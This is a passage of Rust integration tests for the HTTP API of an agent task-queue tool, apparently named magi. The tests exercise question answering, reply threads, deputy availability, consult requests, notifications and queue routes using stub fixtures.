12675        let mut state = crate::land::tests::repair_state(true, true);
12676        state.status = RunStatus::Landing;
12677        state.parked = true;
12678        state.driver_exited = true;
12679        let mut task = Task::new(
12680            "Existing PR owner".into(),
12681            state.instruction.clone(),
12682            state.repo.clone(),
12683            Source::Human,
12684        );
12685        task.runs.push(state.id.clone());
12686        task.status = TaskStatus::Parked;
12687        fx.queue().put(&mut task).unwrap();
12688        let mut q = Question::new(
12689            state.id.clone(),
12690            crate::land::APPROVAL_NODE.into(),
12691            "land".into(),
12692            "Contested merge".into(),
12693            "Original evidence".into(),
12694            vec!["merge".into(), "hold".into()],
12695        );
12696        state.land_approval = Some(crate::run::LandApproval {
12697            question: q.id.clone(),
12698            head: "reviewed-head".into(),
12699        });
12700        state.save_under(fx.home.path()).unwrap();
12701        fx.questions().put(&mut q).unwrap();
12702        // A later repair answer on this old card supersedes this manual hold.
12703        task.hold_manual(Some("Pause this PR".into()));
12704        fx.queue().put(&mut task).unwrap();
12705        // POST directly, without a preceding GET: validation must see the
12706        // same durable upgrade that the card, CLI and chat see.
12707        let ui = Arc::new(Ui::new(
12708            fx.queue(),
12709            fx.questions(),
12710            fx.talks(),
12711            fx.runs(),
12712            fx.home.path().to_path_buf(),
12713            state.repo.clone(),
12714        ));
12715        let response = question_answer(
12716            State(ui),
12717            Path(q.id.clone()),
12718            Ok(Json(NewAnswer {
12719                choice: Some(crate::land::REPAIR.into()),
12720                text: None,
12721                ..Default::default()
12722            })),
12723        )
12724        .await
12725        .unwrap();
12726        assert_eq!(response.0.question.id, q.id);
12727        let upgraded = fx.questions().get(&q.id).unwrap();
12728        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12729        assert!(upgraded.detail.starts_with("Original evidence"));
12730        let claim = fx.queue().claim(&task.id).unwrap();
12731        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12732        assert!(
12733            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12734            "an existing driver keeps its claim"
12735        );
12736        drop(claim);
12737        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12738        let resumed = fx.queue().get(&task.id).unwrap();
12739        assert_eq!(
12740            resumed
12741                .resume_override
12742                .as_ref()
12743                .unwrap()
12744                .pinned_run
12745                .as_deref(),
12746            Some(state.id.as_str())
12747        );
12748        assert!(resumed.status.runnable());
12749        assert_eq!(resumed.instruction, task.instruction);
12750        assert_eq!(resumed.runs, task.runs);
12751        assert!(resumed.action_applied(&q.id));
12752        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12753        assert_eq!(fx.queue().list().len(), 1);
12754        assert_eq!(
12755            fx.queue().get(&task.id).unwrap().resume_override,
12756            resumed.resume_override
12757        );
12758        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12759        assert!(
12760            disk.merge_repairs.is_empty(),
12761            "only the claimed run driver may execute repair"
12762        );
12763        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12764    }
12765
12766    #[tokio::test]
12767    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12768        let fx = Fixture::start().await;
12769        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12770        let path = format!("/api/questions/{id}/answer");
12771
12772        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12773        assert_eq!(res.status, 200, "{}", res.body);
12774        let body = res.json();
12775        assert_eq!(body["status"], "answered");
12776        assert_eq!(body["answer"]["choice"], "Redis");
12777
12778        // Answered from the terminal in between the list and the tap: the UI
12779        // must be able to tell this from a bad request, so it can show the
12780        // recorded answer instead of an error.
12781        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12782        assert_eq!(again.status, 409, "{}", again.body);
12783        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12784    }
12785
12786    #[tokio::test]
12787    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12788        let home = tempfile::tempdir().unwrap();
12789        let ui = delta_test_ui(home.path());
12790        let mut q = Question::new(
12791            "task".into(),
12792            crate::land::APPROVAL_NODE.into(),
12793            "land".into(),
12794            "Explain?".into(),
12795            String::new(),
12796            vec!["hold".into()],
12797        );
12798        q.deputy = Some(ask::Deputy::new("context".into()));
12799        ui.questions.put(&mut q).unwrap();
12800        let mut cfg = stub_config();
12801        cfg.daemon.max_deputies = 0;
12802        let mut status = crate::daemon::Status::new();
12803        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12804        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12805        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12806        let error = question_say(
12807            State(ui.clone()),
12808            Path(q.id.clone()),
12809            Ok(Json(NewSay {
12810                body: "Explain the findings".into(),
12811            })),
12812        )
12813        .await
12814        .unwrap_err();
12815        assert_eq!(
12816            error.text_reason,
12817            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12818        );
12819        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12820
12821        let mut text = Question::new(
12822            "task".into(),
12823            "ask".into(),
12824            "operator".into(),
12825            "Which name?".into(),
12826            String::new(),
12827            vec![],
12828        );
12829        ui.questions.put(&mut text).unwrap();
12830        let Json(view) = question_answer(
12831            State(ui.clone()),
12832            Path(text.id.clone()),
12833            Ok(Json(NewAnswer {
12834                choice: None,
12835                text: Some("chosen name".into()),
12836                ..Default::default()
12837            })),
12838        )
12839        .await
12840        .unwrap();
12841        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12842        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12843    }
12844
12845    #[tokio::test]
12846    async fn question_text_handler_admission_without_transport() {
12847        let home = tempfile::tempdir().unwrap();
12848        let ui = delta_test_ui(home.path());
12849        let mut q = Question::new(
12850            "task".into(),
12851            crate::land::APPROVAL_NODE.into(),
12852            "land".into(),
12853            "May this PR merge?".into(),
12854            String::new(),
12855            vec!["hold".into()],
12856        );
12857        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12858        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12859        ui.questions.put(&mut q).unwrap();
12860        let say = || {
12861            Ok(Json(NewSay {
12862                body: "Explain the findings".into(),
12863            }))
12864        };
12865        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12866            .await
12867            .unwrap_err();
12868        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12869        let response = rejected.into_response();
12870        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12871            .await
12872            .unwrap();
12873        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12874        assert_eq!(body["code"], "question_text_unavailable");
12875        assert_eq!(body["reason"], "deputy_exhausted");
12876        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12877        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12878        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12879        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12880            .await
12881            .unwrap();
12882        assert_eq!(view.text_delivery.state, "live");
12883        assert!(view.question.waiter.is_none());
12884        assert!(view.question.cwd.is_none());
12885        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12886        ui.questions.drop_lease(&q.id);
12887        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12888            .await
12889            .unwrap_err();
12890        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12891        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12892        let _ = question_answer(
12893            State(ui.clone()),
12894            Path(q.id.clone()),
12895            Ok(Json(NewAnswer {
12896                choice: Some("hold".into()),
12897                text: None,
12898                ..Default::default()
12899            })),
12900        )
12901        .await
12902        .unwrap();
12903        assert_eq!(
12904            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12905            Some("hold")
12906        );
12907    }
12908
12909    #[tokio::test]
12910    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12911        let fx = Fixture::start().await;
12912        let store = fx.questions();
12913        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12914        store
12915            .update(&id, |q| {
12916                q.node = crate::land::APPROVAL_NODE.to_owned();
12917                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12918                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12919                Ok(())
12920            })
12921            .unwrap();
12922        let path = format!("/api/questions/{id}/say");
12923        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12924        assert_eq!(refused.status, 422, "{}", refused.body);
12925        assert!(
12926            refused.json()["error"]
12927                .as_str()
12928                .unwrap()
12929                .contains("deputy_exhausted")
12930        );
12931        assert!(store.get(&id).unwrap().thread.is_empty());
12932
12933        // A final live deputy is usable even with no ordinary waiter/cwd.
12934        store.beat(&id, ask::WaiterKind::Deputy);
12935        let view = fx.get("/api/questions").await.json();
12936        assert_eq!(view[0]["text_delivery"]["state"], "live");
12937        let accepted = fx
12938            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12939            .await;
12940        assert_eq!(accepted.status, 200, "{}", accepted.body);
12941        let before = std::fs::read(store.path_of(&id)).unwrap();
12942
12943        // The recipient exits between rendering and sending. Rejection must
12944        // preserve previously accepted text, the answer and delivery cursor.
12945        store.drop_lease(&id);
12946        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12947        assert_eq!(refused.status, 422, "{}", refused.body);
12948        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12949        let held = fx
12950            .post(
12951                &format!("/api/questions/{id}/answer"),
12952                Some(r#"{"choice":"hold"}"#),
12953            )
12954            .await;
12955        assert_eq!(held.status, 200, "{}", held.body);
12956        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12957    }
12958
12959    #[tokio::test]
12960    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12961        let repo = tempfile::tempdir().unwrap();
12962        let mut cfg = stub_config();
12963        cfg.daemon.max_deputies = 0;
12964        std::fs::write(
12965            repo.path().join("magi.toml"),
12966            toml::to_string(&cfg).unwrap(),
12967        )
12968        .unwrap();
12969        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12970        let mut status = crate::daemon::Status::new();
12971        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12972        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12973        let id = ask(&fx, "Explain?", &["hold"]);
12974        fx.questions()
12975            .update(&id, |q| {
12976                q.node = crate::land::APPROVAL_NODE.into();
12977                q.deputy = Some(ask::Deputy::new("context".into()));
12978                q.deputy.as_mut().unwrap().agent = "stub".into();
12979                Ok(())
12980            })
12981            .unwrap();
12982        cfg.daemon.max_deputies = 1;
12983        std::fs::write(
12984            repo.path().join("magi.toml"),
12985            toml::to_string(&cfg).unwrap(),
12986        )
12987        .unwrap();
12988        let view = fx.get("/api/questions").await.json();
12989        assert_eq!(view[0]["deputies_enabled"], true);
12990        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12991        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12992        let res = fx
12993            .post(
12994                &format!("/api/questions/{id}/say"),
12995                Some(r#"{"body":"Please explain"}"#),
12996            )
12997            .await;
12998        assert_eq!(res.status, 422, "{}", res.body);
12999        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13000    }
13001
13002    #[tokio::test]
13003    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13004        let fx = Fixture::start().await;
13005        let id = ask(&fx, "No seat", &[]);
13006        let store = fx.questions();
13007        let before = std::fs::read(store.path_of(&id)).unwrap();
13008        let res = fx
13009            .post(
13010                &format!("/api/questions/{id}/say"),
13011                Some(r#"{"body":"hello"}"#),
13012            )
13013            .await;
13014        assert_eq!(res.status, 422, "{}", res.body);
13015        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13016        let res = fx
13017            .post(
13018                &format!("/api/questions/{id}/answer"),
13019                Some(r#"{"text":"hello"}"#),
13020            )
13021            .await;
13022        assert_eq!(res.status, 200, "{}", res.body);
13023        assert_eq!(
13024            store.get(&id).unwrap().resolution().as_deref(),
13025            Some("hello")
13026        );
13027    }
13028
13029    #[tokio::test]
13030    async fn saying_something_appends_a_turn_without_answering() {
13031        let fx = Fixture::start().await;
13032        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13033        fx.questions().beat(&id, ask::WaiterKind::Asker);
13034        let path = format!("/api/questions/{id}/say");
13035
13036        let res = fx
13037            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13038            .await;
13039        assert_eq!(res.status, 200, "{}", res.body);
13040        let body = res.json();
13041        assert_eq!(body["status"], "open", "talking back is not a decision");
13042        assert_eq!(body["answer"], Value::Null);
13043        assert_eq!(body["thread"][0]["who"], "operator");
13044        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13045        assert_eq!(body["waiting_on_agent"], true);
13046        // Still open, still counted, still exactly one question.
13047        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13048    }
13049
13050    #[tokio::test]
13051    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13052        let fx = Fixture::start().await;
13053        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13054
13055        let list = fx.get("/api/questions").await.json();
13056        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13057
13058        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13059        assert_eq!(res.status, 409, "{}", res.body);
13060        let q = fx.questions().get(&id).unwrap();
13061        assert!(q.status.open());
13062        assert!(q.consult.is_none());
13063    }
13064
13065    #[tokio::test]
13066    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13067        let fx = Fixture::start().await;
13068        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13069        let cfg = Config {
13070            agents: vec![crate::config::AgentSpec {
13071                id: "mock".to_owned(),
13072                kind: crate::config::AgentKind::Command,
13073                model: None,
13074                command: vec!["true".to_owned()],
13075                extra_args: Vec::new(),
13076                env: Default::default(),
13077                prompt_delivery: None,
13078                max_turn_secs: None,
13079            }],
13080            ..Config::default()
13081        };
13082        let talk = crate::talk::begin(
13083            &fx.talks(),
13084            &cfg,
13085            fx.home.path().to_path_buf(),
13086            Some("mock"),
13087        )
13088        .unwrap();
13089        let mut task = Task::new(
13090            "t".to_owned(),
13091            "Do it".to_owned(),
13092            PathBuf::from("/repo/magi"),
13093            Source::Agent {
13094                run: talk.id.clone(),
13095                node: crate::queue::CHAT_NODE.to_owned(),
13096            },
13097        );
13098        task.start("20260902-000000-beef".to_owned());
13099        fx.queue().put(&mut task).unwrap();
13100
13101        let list = fx.get("/api/questions").await.json();
13102        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13103        assert_eq!(
13104            list[0]["choices"],
13105            serde_json::json!(["SQLite", "Redis"]),
13106            "the hand-over is never a choice"
13107        );
13108        fx.questions()
13109            .update(&id, |q| {
13110                q.node = crate::land::APPROVAL_NODE.into();
13111                q.choices = vec!["merge".into(), "hold".into()];
13112                Ok(())
13113            })
13114            .unwrap();
13115        let list = fx.get("/api/questions").await.json();
13116        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13117        assert_eq!(list[0]["can_consult_chat"], true);
13118        fx.questions()
13119            .update(&id, |q| {
13120                q.node = crate::bump::NOTICE_NODE.into();
13121                Ok(())
13122            })
13123            .unwrap();
13124        let list = fx.get("/api/questions").await.json();
13125        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13126        assert_eq!(list[0]["can_consult_chat"], false);
13127    }
13128
13129    #[tokio::test]
13130    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13131        let fx = Fixture::start().await;
13132        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13133        fx.questions()
13134            .update(&id, |q| {
13135                q.node = crate::land::APPROVAL_NODE.into();
13136                q.choices = vec!["merge".into(), "hold".into()];
13137                Ok(())
13138            })
13139            .unwrap();
13140        let cfg = Config {
13141            agents: vec![crate::config::AgentSpec {
13142                id: "mock".to_owned(),
13143                kind: crate::config::AgentKind::Command,
13144                model: None,
13145                command: vec!["true".to_owned()],
13146                extra_args: Vec::new(),
13147                env: Default::default(),
13148                prompt_delivery: None,
13149                max_turn_secs: None,
13150            }],
13151            ..Config::default()
13152        };
13153        // Not a git working tree, so its `magi.toml` is read from disk.
13154        let repo = fx.home.path().join("chat-repo");
13155        std::fs::create_dir_all(&repo).unwrap();
13156        let toml = repo.join("magi.toml");
13157        std::fs::write(&toml, "this is = = not toml").unwrap();
13158        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13159        let mut task = Task::new(
13160            "t".to_owned(),
13161            "Do it".to_owned(),
13162            PathBuf::from("/repo/magi"),
13163            Source::Agent {
13164                run: talk.id.clone(),
13165                node: crate::queue::CHAT_NODE.to_owned(),
13166            },
13167        );
13168        task.start("20260902-000000-beef".to_owned());
13169        fx.queue().put(&mut task).unwrap();
13170
13171        let path = format!("/api/questions/{id}/consult");
13172        let res = fx.post(&path, None).await;
13173        assert!(res.status >= 400, "{}", res.body);
13174        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13175        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13176
13177        std::fs::write(&toml, "").unwrap();
13178        let res = fx.post(&path, None).await;
13179        assert_eq!(res.status, 202, "{}", res.body);
13180        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13181        let q = fx.questions().get(&id).unwrap();
13182        assert!(q.status.open());
13183        assert!(q.answer.is_none());
13184        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13185        assert_eq!(res.json()["can_consult_chat"], true);
13186        let list = fx.get("/api/questions").await.json();
13187        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13188        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13189
13190        let res = fx
13191            .post(
13192                &format!("/api/questions/{id}/answer"),
13193                Some(r#"{"choice":"hold"}"#),
13194            )
13195            .await;
13196        assert_eq!(res.status, 200, "{}", res.body);
13197        assert_eq!(res.json()["answer"]["choice"], "hold");
13198        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13199        assert_eq!(res.json()["can_consult_chat"], false);
13200        assert_eq!(fx.post(&path, None).await.status, 409);
13201
13202        let mut talk = fx.talks().get(&talk.id).unwrap();
13203        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13204        let list = fx.get("/api/questions").await.json();
13205        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13206        assert_eq!(list[0]["origin_chat_closed"], true);
13207        assert_eq!(list[0]["can_consult_chat"], false);
13208
13209        fx.talks().remove(&talk.id).unwrap();
13210        let list = fx.get("/api/questions").await.json();
13211        assert_eq!(list[0]["origin_chat"], Value::Null);
13212        assert_eq!(list[0]["origin_chat_closed"], false);
13213        assert_eq!(list[0]["can_consult_chat"], false);
13214    }
13215
13216    #[tokio::test]
13217    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13218        let fx = Fixture::start().await;
13219        let store = fx.questions();
13220        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13221        store.beat(&id, ask::WaiterKind::Asker);
13222        assert_eq!(
13223            fx.get("/api/health").await.json()["questions_needs_owner"],
13224            1
13225        );
13226
13227        // The owner asks back instead of deciding: the ask bar, the nav badge
13228        // and the title must stop naming this question, because there is
13229        // nothing to decide until the agent answers - `status` alone cannot
13230        // say that, which is the whole reason `questions_needs_owner` exists
13231        // alongside `questions_open`.
13232        let res = fx
13233            .post(
13234                &format!("/api/questions/{id}/say"),
13235                Some(r#"{"body":"why not Postgres?"}"#),
13236            )
13237            .await;
13238        assert_eq!(res.status, 200, "{}", res.body);
13239        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13240        assert_eq!(
13241            fx.get("/api/health").await.json()["questions_needs_owner"],
13242            0,
13243            "waiting on the agent is not waiting on the owner"
13244        );
13245
13246        // `magi ask --thread` replying is what brings the owner count back -
13247        // the same event that would resume the CLI call blocked in `magi
13248        // ask`.
13249        let mut q = store.get(&id).expect("get");
13250        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13251            .expect("reply");
13252        store.put(&mut q).expect("put");
13253        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13254        assert_eq!(
13255            fx.get("/api/health").await.json()["questions_needs_owner"],
13256            1,
13257            "the agent's reply is what should light the banner back up"
13258        );
13259    }
13260
13261    #[tokio::test]
13262    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13263        let fx = Fixture::start().await;
13264        let store = fx.questions();
13265
13266        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13267        let res = fx
13268            .post(
13269                &format!("/api/questions/{empty_id}/say"),
13270                Some(r#"{"body":"   "}"#),
13271            )
13272            .await;
13273        assert_eq!(res.status, 400, "{}", res.body);
13274
13275        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13276        let mut answered = store.get(&answered_id).expect("get");
13277        answered
13278            .answer(Answer::Choice("SQLite".to_owned()))
13279            .expect("answer");
13280        store.put(&mut answered).expect("put");
13281        let res = fx
13282            .post(
13283                &format!("/api/questions/{answered_id}/say"),
13284                Some(r#"{"body":"still there?"}"#),
13285            )
13286            .await;
13287        assert_eq!(res.status, 409, "{}", res.body);
13288
13289        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13290        let mut abandoned = store.get(&abandoned_id).expect("get");
13291        abandoned.abandon("timed out");
13292        store.put(&mut abandoned).expect("put");
13293        let res = fx
13294            .post(
13295                &format!("/api/questions/{abandoned_id}/say"),
13296                Some(r#"{"body":"still there?"}"#),
13297            )
13298            .await;
13299        assert_eq!(res.status, 409, "{}", res.body);
13300    }
13301
13302    #[tokio::test]
13303    async fn an_answer_the_question_does_not_offer_is_refused() {
13304        let fx = Fixture::start().await;
13305        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13306        let path = format!("/api/questions/{id}/answer");
13307
13308        for body in [
13309            r#"{"choice":"Postgres"}"#,
13310            r#"{"text":"whatever you think"}"#,
13311            r#"{"choice":"Redis","text":"both"}"#,
13312            r#"{}"#,
13313        ] {
13314            let res = fx.post(&path, Some(body)).await;
13315            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13316            assert!(res.json()["error"].is_string(), "{}", res.body);
13317        }
13318        // Nothing above may have answered it.
13319        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13320    }
13321
13322    #[tokio::test]
13323    async fn a_free_text_question_takes_text_and_not_a_choice() {
13324        let fx = Fixture::start().await;
13325        let id = ask(&fx, "What should the flag be called?", &[]);
13326        fx.questions().beat(&id, ask::WaiterKind::Asker);
13327        let path = format!("/api/questions/{id}/answer");
13328
13329        assert_eq!(
13330            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13331            400
13332        );
13333        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13334        assert_eq!(res.status, 200, "{}", res.body);
13335        assert_eq!(res.json()["answer"]["text"], "--json");
13336    }
13337
13338    #[tokio::test]
13339    async fn an_unknown_question_is_a_json_404() {
13340        let fx = Fixture::start().await;
13341        let res = fx
13342            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13343            .await;
13344        assert_eq!(res.status, 404, "{}", res.body);
13345        assert!(res.json()["error"].is_string());
13346    }
13347
13348    #[tokio::test]
13349    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13350        let fx = Fixture::start().await;
13351        let questions = Questions::at(fx.home.path().join("questions"));
13352        let store = Notices::at(fx.home.path().join("notifications"));
13353        let mut q = ask::Question::new(
13354            "t1".into(),
13355            "conduct".into(),
13356            "conductor".into(),
13357            "Continue?".into(),
13358            String::new(),
13359            Vec::new(),
13360        );
13361        questions.put(&mut q).unwrap();
13362        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13363        n.covered_by = Some(q.id.clone());
13364        let n = store.raise(n).unwrap();
13365        let listed = fx.get("/api/notifications").await.json();
13366        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13367        questions
13368            .update(&q.id, |q| {
13369                q.abandon("run gone");
13370                Ok(())
13371            })
13372            .unwrap();
13373        let listed = fx.get("/api/notifications").await.json();
13374        assert!(listed["items"][0]["answerable_question"].is_null());
13375        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13376        assert!(
13377            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13378                .unwrap()
13379                .contains("answerable_question")
13380        );
13381    }
13382
13383    #[tokio::test]
13384    async fn notifications_list_read_dismiss_and_health_agree() {
13385        let fx = Fixture::start().await;
13386        let store = Notices::at(fx.home.path().join("notifications"));
13387        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13388        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13389
13390        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13391        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13392
13393        store
13394            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13395            .unwrap();
13396        let health = fx.get("/api/health").await.json();
13397        assert_eq!(health["notifications_unread"], 2);
13398        assert_ne!(
13399            health["notifications_rev"], rev0,
13400            "the badge must move live"
13401        );
13402
13403        let listed = fx.get("/api/notifications").await.json();
13404        assert_eq!(listed["unread"], 2);
13405        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13406        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13407
13408        let read = fx
13409            .post(&format!("/api/notifications/{}/read", a.id), None)
13410            .await;
13411        assert_eq!(read.status, 200, "{}", read.body);
13412        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13413
13414        let gone = fx
13415            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13416            .await;
13417        assert_eq!(gone.status, 200, "{}", gone.body);
13418        let listed = fx.get("/api/notifications").await.json();
13419        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13420        assert_eq!(listed["unread"], 0);
13421
13422        store.raise(Notice::info("x", "again")).unwrap();
13423        let all = fx.post("/api/notifications/read-all", None).await;
13424        assert_eq!(all.status, 200, "{}", all.body);
13425        assert_eq!(all.json()["marked"], 1);
13426        assert_eq!(
13427            fx.get("/api/health").await.json()["notifications_unread"],
13428            0
13429        );
13430
13431        let missing = fx.post("/api/notifications/nope/read", None).await;
13432        assert_eq!(missing.status, 404, "{}", missing.body);
13433        assert!(missing.json()["error"].is_string());
13434    }
13435
13436    /// New work reaches the queue through `magi task add`, a standing talk's
13437    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13438    /// so the compose form and that route are gone. The tests that covered
13439    /// that route's validation went with it, and nothing was left asserting
13440    /// it stays gone — so a re-added handler would silently let the phone
13441    /// file briefs no one validated.
13442    #[tokio::test]
13443    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13444        let f = Fixture::start().await;
13445
13446        let res = f
13447            .post(
13448                "/api/queue",
13449                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13450            )
13451            .await;
13452
13453        assert_eq!(
13454            res.status, 405,
13455            "POST /api/queue must not be a route: {}",
13456            res.body
13457        );
13458        assert!(
13459            f.queue().list().is_empty(),
13460            "a task filed by a route that does not exist must not reach the disk"
13461        );
13462        // The path itself is still served — the Queue view reads it — and the
13463        // per-task controls are untouched by the entry being removed.
13464        assert_eq!(f.get("/api/queue").await.status, 200);
13465    }
13466
13467    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13468    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13469        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13470            .expect("checkout dir");
13471    }
13472
13473    /// Two command agents, so a config needs no real CLI.
13474    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13475
13476    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13477        let tmp = TempDir::new().expect("tempdir");
13478        let repo = tmp.path().join("repo");
13479        std::fs::create_dir_all(&repo).expect("repo dir");
13480        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13481        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13482        if let Some(text) = machine_toml {
13483            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13484            std::fs::write(&machine, text).expect("machine toml");
13485        }
13486        (tmp, repo, machine)
13487    }
13488
13489    async fn settings_checkout(path: &FsPath, text: &str) {
13490        std::fs::create_dir_all(path).unwrap();
13491        std::fs::write(path.join("magi.toml"), text).unwrap();
13492        for args in [
13493            vec!["init", "-b", "main"],
13494            vec!["add", "magi.toml"],
13495            vec![
13496                "-c",
13497                "user.name=Test",
13498                "-c",
13499                "user.email=test@example.invalid",
13500                "commit",
13501                "-m",
13502                "fixture",
13503            ],
13504            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13505            vec![
13506                "symbolic-ref",
13507                "refs/remotes/origin/HEAD",
13508                "refs/remotes/origin/main",
13509            ],
13510        ] {
13511            crate::git::git(path, &args).await.unwrap();
13512        }
13513    }
13514
13515    #[tokio::test]
13516    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13517        let (tmp, repo, machine) =
13518            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13519        let root = tmp.path().join("roots");
